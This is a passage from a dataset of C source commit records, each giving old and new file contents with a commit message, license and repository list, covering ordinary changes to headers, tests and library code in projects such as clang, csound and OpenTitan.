HighTempMCP320x: public HighTemp{\n\npublic:\n\n    HighTempMCP320x(int _spiCS, int _pinTmp, int _pinThmc);\n    \nprivate:\n    MCP3208 adc;\n \npublic:\n    int getAnalog(int pin);\n};\n\n\n#endif\n","subject":"Remove chipselect member - not needed","message":"Remove chipselect member - not needed\n","lang":"C","license":"mit","repos":"mhaas\/Grove_HighTemp_Sensor"}
{"commit":"5a060de3f13d00e80d51486fc4a7410186aa3bfd","old_file":"lib\/GPIOlib.h","new_file":"lib\/GPIOlib.h","old_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\tint turnTo(int angle);\n\t\n\tvoid delay(int milliseconds);\n}\n#endif\n","new_contents":"#ifndef GPIOLIB_H\n#define GPIOLIB_H\n\n#define FORWARD 1\n#define BACKWARD 0\n\nnamespace GPIO\n{\n\tint init();\n\t\n\tint controlLeft(int direction,int speed);\n\tint controlRight(int direction,int speed);\n\tint stopLeft();\n\tint stopRight();\n\t\n\tint resetCounter();\n\tvoid getCounter(int *countLeft,int *countRight);\n\t\n\tint turnTo(int angle);\n\t\n\tvoid delay(int milliseconds);\n}\n#endif\n","subject":"Remove texts for understanding to Wiki pages","message":"Remove texts for understanding to Wiki pages\n","lang":"C","license":"mit","repos":"miaoxw\/EmbeddedSystemNJU2017-Demo"}
{"commit":"6bc030767c511ee71fa99f2c8f36c2dcb2844698","old_file":"perl\/xs\/KinoSearch\/Util\/StringHelper.c","new_file":"perl\/xs\/KinoSearch\/Util\/StringHelper.c","old_contents":"\/* Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"xs\/XSBind.h\"\n#include \"KinoSearch\/Util\/StringHelper.h\"\n\n\/\/ TODO: replace with code from ICU in common\/ucnv_u8.c.\nchy_bool_t\nkino_StrHelp_utf8_valid(const char *ptr, size_t size)\n{\n    const U8 *uptr = (const U8*)ptr;\n    return is_utf8_string(uptr, size);\n}\n\n\n","new_contents":"\/* Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n * \n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"xs\/XSBind.h\"\n#include \"KinoSearch\/Util\/StringHelper.h\"\n\n\/\/ TODO: replace with code from ICU in common\/ucnv_u8.c.\nchy_bool_t\nkino_StrHelp_utf8_valid(const char *ptr, size_t size)\n{\n    const U8 *uptr = (const U8*)ptr;\n    return size == 0 ? true : !!is_utf8_string(uptr, size);\n}\n\n\n","subject":"Work around undocumented feature\/bug in perlapi function is_utf8_string() by short-circuiting StrHelp_utf8_valid() to return true when the length of the string is 0.","message":"Work around undocumented feature\/bug in perlapi function is_utf8_string() by\nshort-circuiting StrHelp_utf8_valid() to return true when the length of the\nstring is 0.\n\n\ngit-svn-id: 0e6074679e66e8f1cc73dfc755b08bab367f805b@1027787 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"kidaa\/lucy,rectang\/lucy,pombredanne\/apache-lucy,pombredanne\/apache-lucy,apache\/lucy,kidaa\/lucy,rbevers\/lucy,apache\/lucy,nwellnhof\/lucy,apache\/lucy,kidaa\/lucy,pombredanne\/apache-lucy,kidaa\/lucy,kidaa\/lucy,rectang\/lucy,apache\/lucy,rbevers\/lucy,apache\/lucy,nwellnhof\/lucy,rectang\/lucy,nwellnhof\/lucy,pombredanne\/apache-lucy,rectang\/lucy,pombredanne\/apache-lucy,pombredanne\/apache-lucy,nwellnhof\/lucy,rectang\/lucy,rectang\/lucy,nwellnhof\/lucy,kidaa\/lucy,rbevers\/lucy,rbevers\/lucy,nwellnhof\/lucy,pombredanne\/apache-lucy,rectang\/lucy,apache\/lucy,rbevers\/lucy,nwellnhof\/lucy,apache\/lucy,kidaa\/lucy,rbevers\/lucy,kidaa\/lucy,rbevers\/lucy"}
{"commit":"dc5390b941c4694b601b52dc1a0ad5c69ed1cfa2","old_file":"tests\/auto\/common\/declarativewebutils.h","new_file":"tests\/auto\/common\/declarativewebutils.h","old_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","new_contents":"\/****************************************************************************\n**\n** Copyright (C) 2014 Jolla Ltd.\n** Contact: Raine Makelainen <raine.makelainen@jolla.com>\n**\n****************************************************************************\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this file,\n * You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#ifndef DECLARATIVEWEBUTILS_H\n#define DECLARATIVEWEBUTILS_H\n\n#include <QObject>\n#include <QString>\n#include <QColor>\n#include <qqml.h>\n\nclass DeclarativeWebUtils : public QObject\n{\n    Q_OBJECT\n    Q_PROPERTY(QString homePage READ homePage NOTIFY homePageChanged FINAL)\n    Q_PROPERTY(bool firstUseDone READ firstUseDone NOTIFY firstUseDoneChanged FINAL)\n\npublic:\n    explicit DeclarativeWebUtils(QObject *parent = 0);\n\n    Q_INVOKABLE int getLightness(QColor color) const;\n    Q_INVOKABLE QString displayableUrl(QString fullUrl) const;\n\n    static DeclarativeWebUtils *instance();\n\n    QString homePage() const;\n    bool firstUseDone() const;\n    void setFirstUseDone(bool firstUseDone);\n\nsignals:\n    void homePageChanged();\n    void firstUseDoneChanged();\n\nprivate:\n    QString m_homePage;\n    bool m_firstUseDone;\n};\n\nQML_DECLARE_TYPE(DeclarativeWebUtils)\n\n#endif\n","subject":"Add missing property for WebUtils mock","message":"[sailfish-browser] Add missing property for WebUtils mock\n\nA warning was printed when running unit tests.\n","lang":"C","license":"mpl-2.0","repos":"alinelena\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,alinelena\/sailfish-browser,rojkov\/sailfish-browser,alinelena\/sailfish-browser,alinelena\/sailfish-browser,rojkov\/sailfish-browser,sailfishos\/sailfish-browser,sailfishos\/sailfish-browser,rojkov\/sailfish-browser,sailfishos\/sailfish-browser"}
{"commit":"f788caa9971a22e6642c54458c80df8420aaf89e","old_file":"constant-helper.c","new_file":"constant-helper.c","old_contents":"","new_contents":"#include <fcntl.h>\n#include <stdio.h>\n\nint\nmain(void)\n{\n    printf(\"F_GETFL=%d\\n\", F_GETFL);\n    printf(\"F_SETFL=%d\\n\", F_SETFL);\n    printf(\"O_NONBLOCK=%d\\n\", O_NONBLOCK);\n\n    return 0;\n}\n","subject":"Add helper program to lookup C constants","message":"Add helper program to lookup C constants\n","lang":"C","license":"mit","repos":"hoelzro\/p6-linenoise,hoelzro\/p6-linenoise"}
{"commit":"1d2187a1d3a933cad1265d24e817af50723cd7a8","old_file":"testcentury.c","new_file":"testcentury.c","old_contents":"","new_contents":"#include \"decode_time.h\"\n#include <stdio.h>\n\nint\nmain(int argc, char *argv[])\n{\n\t \/* start with 2000-01-01 = Saturday (matches `ncal 2000`) *\/\n\tuint8_t century, lday, co;\n\tstruct tm time;\n\ttime.tm_wday = 6; \/* Saturday *\/\n\t\/* check for every date if it matches *\/\n\tfor (century = 0; century <  4; century++)\n\t\tfor (time.tm_year = 0; time.tm_year < 100; time.tm_year++)\n\t\t\tfor (time.tm_mon = 1; time.tm_mon < 13; time.tm_mon++) {\n\t\t\t\ttime.tm_year += 2000 + century * 100;\n\t\t\t\tlday = lastday(time);\n\t\t\t\ttime.tm_year -= 2000 + century * 100;\n\t\t\t\tfor (time.tm_mday = 1; time.tm_mday <= lday; time.tm_mday++) {\n\t\t\t\t\tco = century_offset(time);\n\t\t\t\t\tif (co != century)\n\t\t\t\t\t\tprintf(\"%d-%d-%d,%d : %d should be %d\\n\", time.tm_year, time.tm_mon, time.tm_mday, time.tm_wday, co, century);\n\t\t\t\t\ttime.tm_wday++;\n\t\t\t\t\tif (time.tm_wday == 8)\n\t\t\t\t\t\ttime.tm_wday = 1;\n\t\t\t\t}\n\t\t\t}\n\tprintf(\"done\\n\");\n\treturn 0;\n}\n","subject":"Add a small test program for century_offset(), passes.","message":"Add a small test program for century_offset(), passes.\n","lang":"C","license":"bsd-2-clause","repos":"rene0\/dcf77pi,rene0\/dcf77pi"}
{"commit":"9cbbb1707f067cd7806a6a408e9e25a258649209","old_file":"iobuf\/iobuf_timeout.c","new_file":"iobuf\/iobuf_timeout.c","old_contents":"#include <errno.h>\n#include <sys\/poll.h>\n#include \"iobuf.h\"\n\nint iobuf_timeout(iobuf* io, int poll_out)\n{\n  struct pollfd pfd;\n  int result;\n  \n  if (!io->timeout) return 1;\n\n  pfd.fd = io->fd;\n  pfd.events = poll_out ? POLLOUT : POLLIN;\n  while ((result = poll(&pfd, 1, io->timeout)) == -1) {\n    if (errno == EAGAIN) continue;\n    IOBUF_SET_ERROR(io);\n  }\n  if (result) return 1;\n  io->flags |= IOBUF_TIMEOUT;\n  return 0;\n}\n","new_contents":"#include <errno.h>\n#include \"iobuf.h\"\n#include \"iopoll.h\"\n\nint iobuf_timeout(iobuf* io, int poll_out)\n{\n  iopoll_fd pfd;\n  int result;\n  \n  if (!io->timeout) return 1;\n\n  pfd.fd = io->fd;\n  pfd.events = poll_out ? IOPOLL_WRITE : IOPOLL_READ;\n  while ((result = iopoll(&pfd, 1, io->timeout)) == -1) {\n    if (errno == EAGAIN) continue;\n    IOBUF_SET_ERROR(io);\n  }\n  if (result) return 1;\n  io->flags |= IOBUF_TIMEOUT;\n  return 0;\n}\n","subject":"Use iopoll instead of poll directly.","message":"Use iopoll instead of poll directly.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"8e5fa6ed489c9101bd87452b92db2559666c606c","old_file":"Source\/Export.h","new_file":"Source\/Export.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This source file is part of Zeroth.\n\/\/\n\/\/ Copyright (c) 2016 Colin Hill\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#pragma once\n\n#include <Hect\/Core\/Export.h>\n\n#ifdef HECT_WINDOWS_BUILD\n\n#ifdef ZEROTH_EXPORTS\n#define ZEROTH_EXPORT __declspec(dllexport)\n#else\n#define ZEROTH_EXPORT __declspec(dllimport)\n#endif\n\n#else\n#define ZEROTH_EXPORTS\n#endif\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This source file is part of Zeroth.\n\/\/\n\/\/ Copyright (c) 2016 Colin Hill\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#pragma once\n\n#include <Hect\/Core\/Export.h>\n\n#ifdef HECT_WINDOWS_BUILD\n\n#ifdef ZEROTH_EXPORTS\n#define ZEROTH_EXPORT __declspec(dllexport)\n#else\n#define ZEROTH_EXPORT __declspec(dllimport)\n#endif\n\n#else\n#define ZEROTH_EXPORT\n#endif\n\n","subject":"Fix export macro for non-MS compilers","message":"Fix export macro for non-MS compilers\n","lang":"C","license":"mit","repos":"colinhect\/zeroth,colinhect\/zeroth,colinhect\/zeroth"}
{"commit":"6c8a791702467c48fa62f506baa18a5980b7fcf9","old_file":"deps\/cellulariot\/src\/SDL_Pi_HDC1000.h","new_file":"deps\/cellulariot\/src\/SDL_Pi_HDC1000.h","old_contents":"\/* @author: Samuel G samuel.genois@mail.mcgill.ca\n\nModification Log:\nDate                  Author                  Modification\n-----------------------------------------------------------------\n31-Oct-2018           Samuel G                Created the file\n==================================================================*\/\n\n#define HDC1000_CONFIG_TEMPERATURE_RESOLUTION_14BIT 0x0000\n#define HDC1000_CONFIG_HUMIDITY_RESOLUTION_14BIT 0x0000\n\ntypedef struct {\n    \/\/TODO\n} HDC1000;\n\nint HDC1000_init(HDC1000 *handle);\n\nvoid setTemperatureResolution(int resolution);\n\nvoid setHumidityResolution(int resolution);\n\nint readTemperature(HDC1000 *handle, int *data);\n\nint readHumidity(HDC1000 *handle, int *data);","new_contents":"\/* @author: Samuel G samuel.genois@mail.mcgill.ca\n\nModification Log:\nDate                  Author                  Modification\n-----------------------------------------------------------------\n31-Oct-2018           Samuel G                Created the file\n07-Nov-2018           Matthew L-K             Switch to file descriptor design\n==================================================================*\/\n\n#define HDC1000_CONFIG_TEMPERATURE_RESOLUTION_14BIT 0x0000\n#define HDC1000_CONFIG_HUMIDITY_RESOLUTION_14BIT 0x0000\n\nint HDC1000_temp_open();\n\nint HDC1000_humid_open();\n\nint read_temperature(int *data);\n\nint read_humidity(int *data);\n\nint HDC1000_temp_close();\n\nint HDC1000_humid_close();","subject":"Switch HDC1000 to file descriptor design","message":"Switch HDC1000 to file descriptor design\n","lang":"C","license":"mit","repos":"anrl\/JAM,anrl\/JAM,anrl\/JAM,anrl\/JAM,anrl\/JAM,anrl\/JAM"}
{"commit":"3de1c775e0cd2e3c0a2c6d9723da6dc2d82640b2","old_file":"include\/truth\/panic.h","new_file":"include\/truth\/panic.h","old_contents":"#pragma once\n\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n\n#define Not_Reached false\n\n#define assert(x) \\\n    if (!(x)) { \\\n        logf(\"Assertion failed: (%s) function %s, file %s, line %d.\", \\\n             (#x), __func__, __FILE__, __LINE__); \\\n        panic(); \\\n    }\n\n#define assert_ok(x) \\\n    if (x != Ok) { \\\n        logf(\"Assertion failed (%s) status: %s, function %s, file %s, \" \\\n             \"line %d.\", (#x), status_message(x), __func__, __FILE__, \\\n             __LINE__); \\\n        panic(); \\\n    }\n\nstatic inline void no_return panic() {\n    disable_interrupts();\n    halt();\n}\n","new_contents":"#pragma once\n\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n\n#define Not_Reached false\n\n#define assert(x) \\\n    if (!(x)) { \\\n        logf(\"Assertion failed: (%s) function %s, file %s, line %d.\", \\\n             (#x), __func__, __FILE__, __LINE__); \\\n        panic(); \\\n    }\n\n#define assert_ok(x) \\\n    if (x != Ok) { \\\n        logf(\"Assertion failed (%s) status: %s, function %s, file %s, \" \\\n             \"line %d.\", (#x), status_message(x), __func__, __FILE__, \\\n             __LINE__); \\\n        panic(); \\\n    }\n\nstatic inline void panic() {\n    disable_interrupts();\n    halt();\n}\n","subject":"Remove attribute ignored by compiler","message":"Remove attribute ignored by compiler\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"557d3de09e89c71aa82403b113bd9b863ae3fb0d","old_file":"test\/CodeGen\/pgo-sample.c","new_file":"test\/CodeGen\/pgo-sample.c","old_contents":"\/\/ Test if PGO sample use passes are invoked.\n\/\/\n\/\/ Ensure Pass PGOInstrumentationGenPass is invoked.\n\/\/ RUN: %clang_cc1 -O2 -fprofile-sample-use=%S\/Inputs\/pgo-sample.prof %s -mllvm -debug-pass=Structure -emit-llvm -o - 2>&1 | FileCheck %s\n\/\/ CHECK: Remove unused exception handling info\n\/\/ CHECK: Sample profile pass\n","new_contents":"\/\/ Test if PGO sample use passes are invoked.\n\/\/\n\/\/ Ensure Pass PGOInstrumentationGenPass is invoked.\n\/\/ RUN: %clang_cc1 -O2 -fno-experimental-new-pass-manager -fprofile-sample-use=%S\/Inputs\/pgo-sample.prof %s -mllvm -debug-pass=Structure -emit-llvm -o - 2>&1 | FileCheck %s --check-prefix=LEGACY\n\/\/ RUN: %clang_cc1 -O2 -fexperimental-new-pass-manager -fprofile-sample-use=%S\/Inputs\/pgo-sample.prof %s -fdebug-pass-manager -emit-llvm -o - 2>&1 | FileCheck %s --check-prefix=NEWPM\n\n\/\/ LEGACY: Remove unused exception handling info\n\/\/ LEGACY: Sample profile pass\n\n\/\/ NEWPM: SimplifyCFGPass\n\/\/ NEWPM: SampleProfileLoaderPass\n\nint func(int a) { return a; }\n","subject":"Remove exception handling before loading pgo sample profile data","message":"[clang][NewPM] Remove exception handling before loading pgo sample profile data\n\nThis patch ensures that SimplifyCFGPass comes before SampleProfileLoaderPass\non PGO runs in the new PM and fixes clang\/test\/CodeGen\/pgo-sample.c.\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D63626\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@364201 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"4de18794094da4ebb67698b7c5a3b7a11fd5d477","old_file":"src\/rtcmix\/sockdefs.h","new_file":"src\/rtcmix\/sockdefs.h","old_contents":"#include <netinet\/in.h>\n#include \"defs.h\"  \/* for MAXDISPARGS *\/\n#define MAXTEXTARGS ((MAXDISPARGS*sizeof(double))\/512)\n\n#define MYPORT (IPPORT_RESERVED + 78)\n\/* IPPORT_RESERVED is 1024, so this is socket 1102\n   IPPORT_MAXPORT is 65535 on SGIs *\/\n\ntypedef struct sockdata {\n  char name[100];\t\t\/* the cmix command name *\/\n  union {\n    double p[MAXDISPARGS];\t\/* the p-fields *\/\n    char text[MAXTEXTARGS][512];     \/* or text arrays  *\/\n  } data;\n  int n_args;\t\t\/* number of p-fields used *\/\n} RTsockstr;\n\n","new_contents":"#include <netinet\/in.h>\n#include \"maxdispargs.h\"\n\n#define MAXTEXTARGS ((MAXDISPARGS*sizeof(double))\/512)\n\n#define MYPORT (IPPORT_RESERVED + 78)\n\/* IPPORT_RESERVED is 1024, so this is socket 1102\n   IPPORT_MAXPORT is 65535 on SGIs *\/\n\ntypedef struct sockdata {\n  char name[100];\t\t\/* the cmix command name *\/\n  union {\n    double p[MAXDISPARGS];\t\/* the p-fields *\/\n    char text[MAXTEXTARGS][512];     \/* or text arrays  *\/\n  } data;\n  int n_args;\t\t\/* number of p-fields used *\/\n} RTsockstr;\n\n","subject":"Include maxdispargs.h instead of defs.h.","message":"Include maxdispargs.h instead of defs.h.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"945b00123bf13fa108fc4aafc52c64f87836aaef","old_file":"src\/include\/estimators.h","new_file":"src\/include\/estimators.h","old_contents":"","new_contents":"#ifndef GRIDINF_INCLUDE_ESTIMATORS_H\n#define GRIDINF_INCLUDE_ESTIMATORS_H\n\n#include \"core.h\"\n\nnamespace ginf {\n\t\/\/ Find the labeling where every node chooses the label that minimizes the data cost\n\ttemplate <typename T>\n\tvoid decodeMaxPrior(Grid<T> *grid, Matrix<int> *result) {\n\t\tfor (int y = 0; y < grid->getHeight(); y++) {\n\t\t\tfor (int x = 0; x < grid->getWidth(); x++) {\n\t\t\t\tint minLabel = 0;\n\t\t\t\tfor (int i = 1; i < grid->getNumLabels(); i++) {\n\t\t\t\t\tif (grid->getDataCost(x, y, i) < grid->getDataCost(x, y, minLabel)) {\n\t\t\t\t\t\tresult->get(x, y) = i;\n\t\t\t\t\t\tminLabel = i;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n#endif\n","subject":"Add functions to perform simple approximate inference","message":"Add functions to perform simple approximate inference\n","lang":"C","license":"mit","repos":"evilncrazy\/GridInfCuda,evilncrazy\/GridInfCuda"}
{"commit":"5a429584d9cab3ffa15d6cd091a27181dc454c54","old_file":"Opcodes\/ftest.c","new_file":"Opcodes\/ftest.c","old_contents":"#include \"csdl.h\"\n#include <math.h>\n\nvoid tanhtable(FUNC *ftp, FGDATA *ff)\n{\n    MYFLT *fp = ftp->ftable;\n    MYFLT range = ff->e.p[5];\n    double step = (double)range\/(ff->e.p[3]);\n    int i;\n    double x;\n    for (i=0, x=FL(0.0); i<ff->e.p[3]; i++, x+=step)\n      *fp++ = (MYFLT)tanh(x);\n}\n\nstatic void gentune(FUNC *ftp, FGDATA *ff)             \/* Gab 1\/3\/2005 *\/\n{\n    int j;\n    int notenum;\n    int grade;\n    int numgrades;\n    int basekeymidi;\n    MYFLT basefreq, factor,interval;\n\n    MYFLT\t*fp = ftp->ftable, *pp = &(ff->e.p[5]);\n    int\tnvals = ff->e.pcnt - 4;\n\n    numgrades = (int) *pp++;\n    interval  = *pp++;\n    basefreq  = *pp++;\n    basekeymidi=  (int) *pp++;\n\n    nvals = ff->flenp1 - 1;\n\n    for (j =0; j < nvals; j++) {\n      notenum = j;\n      if (notenum < basekeymidi) {\n        notenum = basekeymidi - notenum;\n        grade  = (numgrades-(notenum % numgrades)) % numgrades;\n        factor = - (MYFLT)(int) ((notenum+numgrades-1) \/ numgrades) ;\n      }\n      else {\n        notenum = notenum - basekeymidi;\n        grade  = notenum % numgrades;\n        factor = (MYFLT)(int) (notenum \/ numgrades);\n      }\n      factor = (MYFLT)pow((double)interval, (double)factor);\n      fp[j] = pp[grade] * factor * basefreq;\n      \n    }\n}\n\n\nstatic NGFENS localfgens[] = {\n   { \"tanh\", (void(*)(void))tanhtable},\n   { \"cpstune\", (void(*)(void))gentune},\n   { NULL, NULL}\n};\n\n#define S       sizeof\n\nstatic OENTRY localops[] = {};\n\nFLINKAGE\n\n","new_contents":"#include \"csdl.h\"\n#include <math.h>\n\nvoid tanhtable(FUNC *ftp, FGDATA *ff)\n{\n    MYFLT *fp = ftp->ftable;\n    MYFLT range = ff->e.p[5];\n    double step = (double)range\/(ff->e.p[3]);\n    int i;\n    double x;\n    for (i=0, x=FL(0.0); i<ff->e.p[3]; i++, x+=step)\n      *fp++ = (MYFLT)tanh(x);\n}\n\n\nstatic NGFENS localfgens[] = {\n   { \"tanh\", (void(*)(void))tanhtable},\n   { NULL, NULL}\n};\n\n#define S       sizeof\n\nstatic OENTRY localops[] = {};\n\nFLINKAGE\n\n","subject":"Remove gen from loadable code","message":"Remove gen from loadable code\n","lang":"C","license":"lgpl-2.1","repos":"ketchupok\/csound,ketchupok\/csound,ketchupok\/csound,ketchupok\/csound,csound\/csound,ketchupok\/csound,csound\/csound,csound\/csound,csound\/csound,csound\/csound,csound\/csound,csound\/csound,ketchupok\/csound,csound\/csound,ketchupok\/csound,csound\/csound,ketchupok\/csound,csound\/csound,ketchupok\/csound,ketchupok\/csound"}
{"commit":"27390e0138f13a06c5d52054510e7a979e900f97","old_file":"test\/wasm\/soft\/float\/fixunstfdi.c","new_file":"test\/wasm\/soft\/float\/fixunstfdi.c","old_contents":"#include \"src\/math\/reinterpret.h\"\n#include <math.h>\n#include <stdint.h>\n#include <assert.h>\n\nstatic _Bool run(uint64_t a)\n{\n    return a == truncl(a);\n}\n\nint main(void)\n{\n    const uint64_t delta = 0x0008D46BA87B5A22;\n\n    for (uint64_t i = 0x3FFFFFFFFFFFFFFF; i < 0x4340000000000000; i += delta)\n        assert(run(reinterpret(double, i)));\n\n    for (uint64_t i = 0; i <= UINT64_MAX \/ delta; ++i)\n        assert(run(i * delta));\n}\n","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <math.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(void)\n{\n    const __int128 delta = (__int128)0x17E93193 << 64 | 0xC0605887B0E6B634;\n\n    for (__int128 i = reinterpret(__int128, 0.9L); i < reinterpret(__int128, 0x1p64L); i += delta) {\n        long double x = reinterpret(long double, i);\n        assert((uint64_t)x == truncl(x));\n    }\n}\n","subject":"Test truncation of long double -> uint64_t","message":"Test truncation of long double -> uint64_t\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"ae2f6d0a505d398642a1d6c6a057b971d93b1611","old_file":"sw\/device\/lib\/runtime\/check.h","new_file":"sw\/device\/lib\/runtime\/check.h","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0`\n\n#ifndef OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n#define OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n\n#include <stdbool.h>\n\n#include \"sw\/device\/lib\/base\/log.h\"\n#include \"sw\/device\/lib\/runtime\/abort.h\"\n\n\/**\n * Runtime assertion macros with log.h integration.\n *\/\n\n\/**\n * Checks that the given condition is true. If the condition is false, this\n * function logs and then aborts.\n *\n * @param condition an expression to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECK(condition, ...)                \\\n  do {                                       \\\n    if (!(condition)) {                      \\\n      LOG_ERROR(\"CHECK-fail: \" __VA_ARGS__); \\\n      abort();                               \\\n    }                                        \\\n  } while (false)\n\n\/**\n * Shorthand for CHECK(value == 0).\n *\n * @param condition a value to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECKZ(value, ...) CHECK((value) == 0, ...)\n\n#endif  \/\/ OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0`\n\n#ifndef OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n#define OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n\n#include <stdbool.h>\n\n#include \"sw\/device\/lib\/base\/log.h\"\n#include \"sw\/device\/lib\/runtime\/hart.h\"\n\n\/**\n * Runtime assertion macros with log.h integration.\n *\/\n\n\/**\n * Checks that the given condition is true. If the condition is false, this\n * function logs and then aborts.\n *\n * @param condition an expression to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECK(condition, ...)                \\\n  do {                                       \\\n    if (!(condition)) {                      \\\n      LOG_ERROR(\"CHECK-fail: \" __VA_ARGS__); \\\n      abort();                               \\\n    }                                        \\\n  } while (false)\n\n\/**\n * Shorthand for CHECK(value == 0).\n *\n * @param condition a value to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECKZ(value, ...) CHECK((value) == 0, ##__VA_ARGS__)\n\n#endif  \/\/ 